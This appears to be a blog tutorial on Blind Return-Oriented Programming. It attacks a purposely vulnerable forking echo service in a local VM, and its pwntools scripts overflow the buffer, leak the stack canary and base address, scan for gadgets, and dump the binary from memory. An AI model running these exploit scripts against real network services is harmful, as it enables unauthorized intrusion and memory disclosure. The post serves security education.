Blind Return Oriented Programming 102

35 minute read

Howdy! I didn’t post for long time, but I am back and will (hopefully) blog every now and then with fun stuff that I learn and do, CTFs write-ups if I am lucky to finish any interesting challenge, and maybe any random idea. Today I will post about me experimenting with Blind ROP. This post is inspired by Gynvael Coldwind streaming, thumbs up for this guy, his videos are amazing and really inspiring. I will try to do a challenge similar to the one he did but in a little bit different environment. As a matter of fact, all techniques described here are originally described by Hacking blind paper published by Stanford university.

Assumptions

Together, we will be exploiting a service with the given assumptions:

  • The compiled binary is not available.
  • The program is compiled with stack canaries.
  • It is compiled for x86_64 architecture.
  • Stack is not executable.
  • It works on Linux system with full ASLR.
  • Binary isn’t compiled with position independent code (PIC).

Finally and most importantly the source code of the program is known.

// echo.c
// compiled with:
//	gcc echo.c -o echo -fstack-protector

#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
int echo_service(){
    char x[100];
    read(0, x, 500);
    printf("%s", x);
    fflush(stdout);
}
int main(void) {
    while(1) {
        if (fork() == 0) {
            echo_service();
            return 0;
        }
        int status;
        wait(&status);
        if (status != 0) {
            puts("You broke the internet!");
            fflush(stdout);
        }
    }
    return 0;
}

The program is simple echo service, it is easy to spot the vulnerability, nothing special with it. The ultimate goal will be being able to construct ROP chain to get code execution (We will not go far into the meat of code execution ROP chain). That is a topic of another post. But we will be able to gain primitives that is sufficient to construct such ROP chain.

Setting up the environment

This section is completely optional feel free to skip this part and set-up your environment the way you like, If you are not sure, read on.

Requirements:

  • VirtualBox + VirtualBox Extension Pack.
  • 64 bit Linux guest.

Setting up host only network:

What we want to achieve is to setup a local guest server to host our console echo service. For this, we need a virtual local network to link between our host and guest.

Open VirtualBox-> File -> Preferences -> Network -> Host-only Networks, hit the plus sign on the right. creating Host-only interface

In the network settings of your VM, make sure to change the adapter type to host-only adapter and its name to whatever the Host-only interface you created. In my case it was vboxnet0.

Now enable the interface just in case your operating system didn’t handle it automatically in host.

[root@host ~]# ifconfig vboxnet0 up
[root@host ~]# dhclient --no-pid vboxnet0

Now reboot the guest machine, compile the binary, and launch the pwnable service!

[user@guest ~]$ gcc echo.c -o echo -fstack-protector
[user@guest ~]$ socat -v tcp-l:31337,fork exec:'./echo'

Finally get the guest IP and put the service to test.

[user@host ~]$ nc 192.168.56.101 31337
AAAA
AAAA
AAAAAA
AAAAAA
A
A
AAAAAAAAAAA
AAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You broke the internet!
AAA
AAA

At this point everything works fine and there will be almost no need to turn back to the VM at all. (SPOILER ALERT: There will be gadgets that might behave as fork bombs so you will need to restart your VM if you ever noticed lagging in the service). Be warned you (and me) are not allowed to peek into the VM at all!

The Stack canaries

The idea behind stack canary is to generate a secret value at run time and place it at the end of every buffer or before each return address. Before any function returns, it checks if the stack canary is changed, and if it is, the process panics and crashes. Since the attacker doesn’t know the secret value stored in the stack canary, it will be almost impossible for him to benefit from most stack overflow based attacks, “almost”. stack canary

From the source code we can tell that overwriting stack canaries will lead to to printing the string “You broke the internet!” due to process crashing! The good news here is stack canaries doesn’t change with each fork! So we can try to guess it 1 byte at a time. First we need to find the maximum size of buffer that doesn’t crash the service.

 python
>>> from pwn import *
>>> p = connect("192.168.56.101", 31337)
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
>>> steps = 1
>>> payload = "A"
>>> while True:
...     p.send(payload*steps)
...     output = p.recv()
...     if "You broke the internet!" in output:
...         print "[*] Crashed at %i" %steps
...         steps -= 1
...         break;
...     steps +=1
... 
[*] crashed at 106
>>> 

To make sure that everything worked correctly we can verify that sending 105 bytes won’t crash the service.

>>> p.send("A"*105)
>>> p.recv()
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9a\xe1[\xf7\xcf\xd6PiC\x9e\xfe\x7fYou broke the internet!\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe\x9a\xe1[\xf7\xcf\xd6PiC\x9e\xfe\x7fYou broke the internet!\n'

The output is quite interesting. First it did crash, second the String “You broke the internet existed twice with some garbage before it that could be extremely useful in the future. It turns out that this is buffering issue, forking/waiting are expensive subroutines and they takes relatively long time to get its job done. So recv() function gets part of the text before wait() finishes.

We can test put our theory to test by inserting a short delay between each send() and recv() calls.

>>> from pwn import *
>>> import time
>>> p = connect("192.168.56.101", 31337)
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
>>> steps = 1
>>> payload = "A"
>>> while True:
...     p.send(payload*steps)
...     time.sleep(2)
...     output = p.recv()
...     if "You broke the internet!" in output:
...         print "[*] crashed on %i" %steps
...         steps -= 1
...         break;
...     steps +=1
... 
[*] crashed on 105
>>> p.send("A"*104)
>>> p.recv()
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>> 

This version took much longer, it took about 3.5 minutes to finish time but proved that the we did have some buffering issues and they can be fixed by inserting short delays. We can optimize the algorithm to do binary search for the maximum input size that doesn’t smash the stack (payload).

# exploit.py
from pwn import *
import time
CRASH_MSG = "You broke the internet!\n"
def find_max_payload():
    p = connect("192.168.56.101", 31337)
    start = 0
    stop = 150
    steps = 0
    payload = "A"
    while True:
        steps = (start + stop)/2
        p.send(payload*steps)
        time.sleep(2)
        output = p.recv()
        if CRASH_MSG in output:
            print "[*] Crashed on %i" %steps
            stop = steps
        else:
            print "[*] Didn't crash on %i" %steps
            start = steps
            p.send(payload*(steps+1))
            time.sleep(2)
            output = p.recv()
            if CRASH_MSG in output:
                break
    print "[+] The buffer size is %i" % steps
    p.close()
    time.sleep(2)
    payload = "A"*steps
    return payload

Running the script with debug info shows that it can find the payload in fewer steps.

➜  python
>>> from exploit import *
>>> payload = find_max_payload()
[+] Opening connection to 192.168.56.101 on port 31337: Done
[*] didn't crash on 75
[*] crashed on 112
[*] didn't crash on 93
[*] didn't crash on 102
[*] crashed on 107
[*] didn't crash on 104
[+] The buffer size is 104
[*] Closed connection to 192.168.56.101 port 31337

Next step is to leak the 8 bytes stack canary itself, we can take advantage of the fact that input string is printed as it is. Given the fact that 104 bytes payload prints clean string while 105 bytes payload prints some leaked bytes, We can deduce that the least significant bit of the stack canary is 0x00 and we can read the rest of the canary from the leaked string.

>>> p = connect("192.168.56.101", 31337)
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
>>> p.send(payload+"\x01")
>>> leak = p.recv().strip(payload)
>>> leak
'\x013\xb2\xe1\xcc\xcf?\xcc 2\x96\xa3\xfd\x7fYou broke the internet!\n'
>>> leak = leak[0:8]
>>> stack_canary = u64(leak) & 0xffffffffffffff00
>>> print hex(stack_canary)
0xcc3fcfcce1b23300
>>> p.send(payload+p64(stack_canary))
>>> p.recv()
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

So We succeeded leaking the stack canary, we can create a function that do so and add it to out exploit.py.

def leak_stack_canary(p, payload):
    p.send(payload+"\x01")
    time.sleep(2)
    leak = p.recv().strip(payload)
    leak = leak[0:8]
    stack_canary = u64(leak) & 0xffffffffffffff00
    p.send(payload+p64(stack_canary))
    time.sleep(2)
    if p.recv() != payload:
        print "[!] Failed to leak stack canary"
        return None
    print "[+] Stack canary 0x%x" % stack_canary
    return stack_canary

Note that the stack canary will always change every new session, but all forked process will share the same stack canary.

Guessing the program base.

In normal Linux binaries it is safe to assume that the default option is to load ELF files at address 0x400000. It is good educated guess based on simple test on my host machine.

➜ ld -verbose | grep -i text-segment
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

The problem is that this default can be easily changed and there is no way to tell if it is the same on the guest VM with out leaking some addresses. We will follow the same technique used to leak stack canaries. The only difference is that we will try to make an educated guesses in an attempt to understand what is the leaked values.

>>> p.send(payload+"A"*8)
>>> leak = p.recv().strip("A").strip("You broke the internet!\n")
>>> len(leak)
5
>>> leak = leak+"\x00"*(8-len(leak))
>>> hex(u64(leak))
'0x7ffda39632'
>>>

This first leaked address looks like an address of stack location or maybe heap because of the standard 0x7ffXXXXXXX, but most likely it is not pointer inside the binary.

>>> p.send(payload+"A"*16)
>>> leak = p.recv().strip("A").strip("You broke the internet!\n")
>>> len(leak)
3
>>> leak = leak+"\x00"*(8-len(leak))
>>> hex(u64(leak))
'0x40077b'
>>>

The second leaked address is 0x40077b so we can rest assured that the base address is 0x400000 and that the 0x7ffda39632 is the old rbp so the stack looks more like this: Stack layout

Finding Basic ROP Gadget

Now we need to search the address space for basic ROP gadgets, we can classify them into:

  • ROP gadgets that leak more data (most interesting).
  • ROP gadgets that exit cleanly.
  • ROP gadgets that give infinite loop.
  • ROP gadgets that will crash (least interesting).

We will be looking for portable ROP gadgets. Portable ROP gadgets should ideally be a no-return gadget, and make the minimal number of assumptions about stack, registers states. Currently we can control the stack, and RBP register as well as bunch or future RIP. Our tactic will be to fill the stack mostly with “A”s, point the RBP to 0x0 and make future RIP points to some non-valid pointer that we can guarantee that if our current ROP gadget ever returned the system will crash. If we didn’t get enough gadgets we can relax our constrains later, but for now lets just hunt for the best.

The problem here is that we will need to scan big portion of the address space, thus it will take long time if we are going to scan first 0x1000 byte (which is pulled out thin air) it will take around 4 hour. To solve this problem we need to open multiple connections and run multi-threaded ROP gadget scanners. For example if we used 30 threads with 30 connections it should scan our address space in less than 10 minutes which is big achievement. We will add this snippet to exploit.py:

_lock = threading.Lock()
def get_next(it):
    with _lock:
        offset = next(it)
        return offset

def scan_for_gadgets(payload, it, base=0x400000):
    p = connect("192.168.56.101", 31337)
    try:
        stack_canary = p64(leak_stack_canary(p, payload))
    except:
        p.close()
        return
    offset = 0
    while True:
        try:
            offset = get_next(it)
        except:
            p.close()
            return
        if offset % 0x100 == 0:
            print "[!] currently at 0x%x" % offset
        # we have  no interest in instructions that reference base pointer
        rbp = p64(0)
        rip = p64(base+offset)
	# Also I want no assumptions about values stored before rip
        p.send(payload+stack_canary+rbp+rip+"A"*128)
        time.sleep(2)
        output = p.recv()
        if CRASH_MSG not in output:
            print "[*] Safe gadget at " + hex(base + offset)
        if output.strip(payload) not in["", CRASH_MSG]:
            print "[*] Memory leak at " + hex(base + offset)
        p.send("A\x00")
        time.sleep(2)
        output = p.recv(timeout=1)
        if output == "":
            print "[+] Stop Gadget at " + hex(base + offset)
            break

Now it is time to build our multi threaded script that will scan the binary for all sort of ROP gadgets:

>>> from exploit import *
>>> payload=find_max_payload()
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
[*] Didn't crash on 75
[*] Crashed on 112
[*] Didn't crash on 93
[*] Didn't crash on 102
[*] Crashed on 107
[*] Didn't crash on 104
[+] The buffer size is 104
[*] Closed connection to 192.168.56.101 port 31337
>>> iterator = iter(range(0x1000))
>>> for i in range(35):
...  threading.Thread(target=scan_for_gadgets, args=(payload, iterator)).start()
...  time.sleep(1)
... 
[x] Opening connection to 192.168.56.101 on port 31337
OUTPUT TRUNCATED
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
[+] Stack canary 0xca3bb85eec562500
[!] currently at 0x100
[!] currently at 0x200
[!] currently at 0x300
[!] currently at 0x400
[!] currently at 0x500
[!] currently at 0x600
[*] Safe gadget at 0x400620
[*] Safe gadget at 0x400622
[*] Safe gadget at 0x400623
[*] Safe gadget at 0x400624
[*] Safe gadget at 0x400625
[*] Safe gadget at 0x400626
[*] Safe gadget at 0x400627
[*] Safe gadget at 0x400629
[*] Safe gadget at 0x40062f
[*] Safe gadget at 0x40062d
[*] Safe gadget at 0x40062e
[*] Safe gadget at 0x400630
[*] Safe gadget at 0x400636
[*] Safe gadget at 0x400637
[*] Safe gadget at 0x40063d
[*] Safe gadget at 0x40063e
[!] currently at 0x700
[*] Safe gadget at 0x4006f7
[*] Safe gadget at 0x4006f8
[*] Safe gadget at 0x40070f
[*] Safe gadget at 0x400711
[*] Safe gadget at 0x400710
[*] Safe gadget at 0x400712
[*] Memory leak at 0x400727
[*] Memory leak at 0x400728
[*] Memory leak at 0x400729
[*] Memory leak at 0x40072b
[*] Safe gadget at 0x400760
[*] Safe gadget at 0x400761
[*] Safe gadget at 0x400762
[*] Safe gadget at 0x40076
[*] Safe gadget at 0x400768
[*] Safe gadget at 0x40076d
[*] Safe gadget at 0x40076f
[*] Safe gadget at 0x400771
[*] Safe gadget at 0x400776
[*] Safe gadget at 0x40078f
[*] Safe gadget at 0x400790
[*] Safe gadget at 0x400791
[*] Safe gadget at 0x400793
[*] Safe gadget at 0x40079f
[*] Safe gadget at 0x4007a6
[*] Safe gadget at 0x4007a7
[*] Safe gadget at 0x4007a9
[*] Safe gadget at 0x4007ae
[!] currently at 0x800
[!] currently at 0x900
[!] currently at 0xa00
[!] currently at 0xb00
[!] currently at 0xc00
[!] currently at 0xd00
[!] currently at 0xe00
[!] currently at 0xf00
[*] Closed connection to 192.168.56.101 port 31337
OUTPUT TRUNCATED
[*] Closed connection to 192.168.56.101 port 31337

Finding BROP gadget

At this current stage we found bunch of ROP gadgets that either print some leaked data or exits the forked process cleanly. For now we will be interested in the second type of gadgets that did nothing but exit cleanly. Come to think of it, it is not obvious what can we achieve with this kind of gadgets. The idea is right now we are trying to gather the footprint of as much code as possible. For example we can do another round of ROP gadget scanning but with more options for the final outcome, for example third type of gadgets that crashes when they are called alone, but when they are chained with safe gadget they exit cleanly. Then we can study the effect of such gadgets on ROP gadgets that do memory leaks, maybe they can help controlling where the memory is leaked from thus leaking the whole binary. Or we can then use them to find other exciting gadgets.

In particular, we are interested in a very unique gadget that is common in compiler generated binaries. These gadgets behaves as the following, when called alone they crash but when they are followed by 48 bytes then a safe gadget they exits cleanly. Moreover, if we moved 7 bytes from the location of the gadget (offset + 7), we will will end up in another gadget, that gadget will crash if it is all on it own but will exit cleanly if followed by 16 byte and safe gadget, it exits cleanly. Actually the story doesn’t end here! If we moved 9 bytes (added 9 to the offset), we will have a third ROP gadget that will crash if called alone it will crash but if followed by 8 bytes then a safe gadget it will will exits cleanly. The gadget we are looking for is none other than the callee saved register resorting subroutine! We will call it BROP gadget. It is really hard to come with a random ROP gadget that have same properties but do something else.

Lets have a deeper look at this specific ROP gadget to understand how it works and how is it so valuable to us. First this is the standard callee saved register restoring subroutine. The BROP gadget is 6 pop instructions each pop 8 bytes into the appropriate register followed by a return, so it explains why is needs 48 bytes to consume before it can return safely.

0x00000000      5b             pop rbx
0x00000001      5d             pop rbp
0x00000002      415c           pop r12
0x00000004      415d           pop r13
0x00000006      415e           pop r14
0x00000008      415f           pop r15
0x0000000a      c3             ret

If we seek 7 bytes forward we will be in the middle of the instruction pop r15 which is legit instruction too! Now this time it is 2 pops followed by a return.

0x00000007      5e             pop rsi
0x00000008      415f           pop r15
0x0000000a      c3             ret

Now if we move till offset 0x00000009 we will end up with a 1 pop followed by a return

0x08000189      5f             pop rdi
0x0800018a      c3             ret

If we are lucky to find this gadget we can set and control all sort of registers required to either trigger a system call or do controlled memory leak and other fun stuff. The only problem is that there is absolutely no guarantee what so ever that we will be able to find it either in our service or in any other program. The only reason we are looking for it is that modern compilers used to have them for 64 bit architectures, and they are so good that they worth the trouble looking for them in particular. Given the fact that BROP gadgets can save us time and effort typing to identify some other random gadget. We will add this function to our exploit.py

def scan_for_brop(payload, it, safe_gadget, base=0x400000):
    p = connect("192.168.56.101", 31337)
    try:
        stack_canary = p64(leak_stack_canary(p, payload))
    except:
        p.close()
        return
    offset = 0
    while True:
        try:
            offset = get_next(it)
        except:
            p.close()
            return
        if offset % 0x100 == 0:
            print "[!] currently at 0x%x" % offset
        rbp = p64(0)
        rop_chain = p64(base + offset) + "A" * 8 * 6 + p64(safe_gadget)
        p.send(payload + stack_canary + rbp + rop_chain)
        time.sleep(2)
        output = p.recv()
        if CRASH_MSG in output:
            continue
        rop_chain = p64(base + offset) + "A" * 128
        p.send(payload + stack_canary + rbp + rop_chain)
        time.sleep(2)
        output = p.recv()
        if CRASH_MSG not in output:
            continue
        rop_chain = p64(base + offset + 7) + "A" * 8 * 2 + p64(safe_gadget)
        p.send(payload + stack_canary + rbp + rop_chain)
        time.sleep(2)
        output = p.recv()
        if CRASH_MSG in output:
            continue
        rop_chain = p64(base + offset + 9) + "A" * 8 + p64(safe_gadget)
        p.send(payload + stack_canary + rbp + rop_chain)
        time.sleep(2)
        output = p.recv()
        if CRASH_MSG in output:
            continue
        print "[+] BROP gadget at " + hex(base + offset)

Then run This python script in hope that it will find anything

>>> from exploit import *
>>> payload = find_max_payload()
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
[*] Didn't crash on 75
[*] Crashed on 112
[*] Didn't crash on 93
[*] Didn't crash on 102
[*] Crashed on 107
[*] Didn't crash on 104
[+] The buffer size is 104
[*] Closed connection to 192.168.56.101 port 31337
>>> iterator = iter(range(0x1000))
...  threading.Thread(target=scan_for_brop, args=(payload, iterator, 0x400620)).start()
...  time.sleep(0.7)
... 
[x] Opening connection to 192.168.56.101 on port 31337
OUTPUT TRUNCATED
[+] Stack canary 0x87c119a484fb3c00
[!] currently at 0x100
[!] currently at 0x200
[!] currently at 0x300
[!] currently at 0x400
[!] currently at 0x500
[!] currently at 0x600
[!] currently at 0x700
[!] currently at 0x800
[+] BROP gadget at 0x40081a
[!] currently at 0x900
[!] currently at 0xa00
[!] currently at 0xb00
[!] currently at 0xc00
[!] currently at 0xd00
[!] currently at 0xe00
[!] currently at 0xf00
[*] Closed connection to 192.168.56.101 port 31337
OUTPUT TRUNCATED
[*] Closed connection to 192.168.56.101 port 31337

Now we have some memory write primitives and register controlling primitives, time to move to next step!

Leak all the bits!

At this point It should be clear what exactly are we aiming for, We will try to leak the whole binary file starting from address 0x400000 for purpose of creating proper ROP chain. It is known that at ELF file signature is stored at this offset.

➜  xxd /bin/ls | head -c 20
00000000: 7f45 4c46

Our Strategy will be to first try the few ROP gadgets that happened to create memory leaks, we hope that at least one of them do arbitrary memory read, if none worked, we will re-scan the whole address space, perhaps we missed the right gadget because it requires precise control over RSI register (maybe it was nulled out right before calling our gadget).

>>> from exploit import *
>>> payload = find_max_payload()
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
[*] Didn't crash on 75
[*] Crashed on 112
[*] Didn't crash on 93
[*] Didn't crash on 102
[*] Crashed on 107
[*] Didn't crash on 104
[+] The buffer size is 104
[*] Closed connection to 192.168.56.101 port 31337
>>> p = connect("192.168.56.101", 31337)
>>> stack_canary = p64(leak_stack_canary(p, payload))
[+] Stack canary 0x1cbab5d373f0f00
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
>>> leak_list = [0x400727, 0x400728, 0x400729, 0x40072b]
>>> rbp = p64(0)
>>> brop = p64(0x40081a+7) # we want the gadget that controls RSI
>>> rsi = p64(0x400000)
>>> r15 = "A"*8 # we just don't care about this one
>>> rbp = p64(0)
>>> for leak in leak_list:
...     rop_chain = brop + rsi + r15 +p64(leak)
...     p.send(payload + stack_canary + rbp + rop_chain)
...     time.sleep(2)
...     output = p.recv()
...     if "\x7fELF" in output:
...         print "[*] Arbitrary memory read at " + hex(leak)
...         print "[*] Leaked data: " + output.strip("A").strip(CRASH_MSG).encode("hex")
... 
[*] Arbitrary memory read at 0x40072b
[*] Leaked data: 7f454c46020101

So it seams that the We found the perfect ROP gadget for our full binary leak exploit. What we want to do now is not only leak data at address 0x400000 but leak the whole binary .text segment. This way our attack will no longer be blind and we will be able to create appropriate ROP chain that can finally do Arbitrary code execution.

Unfortunately We need the bytes to be grabbed in order so multithreading will not work here well the way it used to be before so I will just wait for it to finish on one thread. We will add this snippet to exploit.py

def blind_bin_leak(payload, brop, leak, file_name, base=0x400000):
    o = base
    f = open(file_name, "w")
    p = connect("192.168.56.101", 31337)
    try:
        stack_canary = p64(leak_stack_canary(p, payload))
    except:
        p.close()                                                            
        return
    rbp = p64(0)
    r15 = "A"*8
    rsi = base
    while rsi < o + 0x1000:
        if rsi % 0x100 == 0:
            print "[!] currently at 0x%x" % rsi
        rop_chain = p64(brop) + p64(rsi) + r15 +p64(leak)
        p.send(payload + stack_canary + rbp + rop_chain)
        time.sleep(2)
        output = p.recv().strip(payload).strip(CRASH_MSG)
        if output == "":
            f.write("\x00")
            rsi += 1
        else:
            f.write(output)
            rsi += len(output)
        f.flush()
    p.close()

Now it is time to leak all the binary. It should take time so one needs to be patient.

>>> from exploit import *
>>> payload = find_max_payload()
[x] Opening connection to 192.168.56.101 on port 31337
[x] Opening connection to 192.168.56.101 on port 31337: Trying 192.168.56.101
[+] Opening connection to 192.168.56.101 on port 31337: Done
[*] Didn't crash on 75
[*] Crashed on 112
[*] Didn't crash on 93
[*] Didn't crash on 102
[*] Crashed on 107
[*] Didn't crash on 104
[+] The buffer size is 104
[*] Closed connection to 192.168.56.101 port 31337
blind_bin_leak(payload, 0x40081a+7, 0x40072b, "bin.elf")
[!] currently at 0x400000
[!] currently at 0x400100
[!] currently at 0x400200
[!] currently at 0x400300
[!] currently at 0x400400
[!] currently at 0x400500
[!] currently at 0x400600
[!] currently at 0x400700
[!] currently at 0x400800
[!] currently at 0x400900
[!] currently at 0x400a00
[!] currently at 0x400b00
[!] currently at 0x400c00
[!] currently at 0x400d00
[!] currently at 0x400e00 
[!] currently at 0x400e00 

Now all we can do is sitting tight and watch the binary file being leaked from memory.

At the end of the day we will have a file that behaves similarly

➜ file bin.elf
bin.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers

At this point constructing a reliable exploit will be somehow trivial and I wouldn’t discuss it ;) (Note: You will never know how to control RAX untill you try it your self, Hint: use your imagination).

Tags: ,

Updated:

Leave a Comment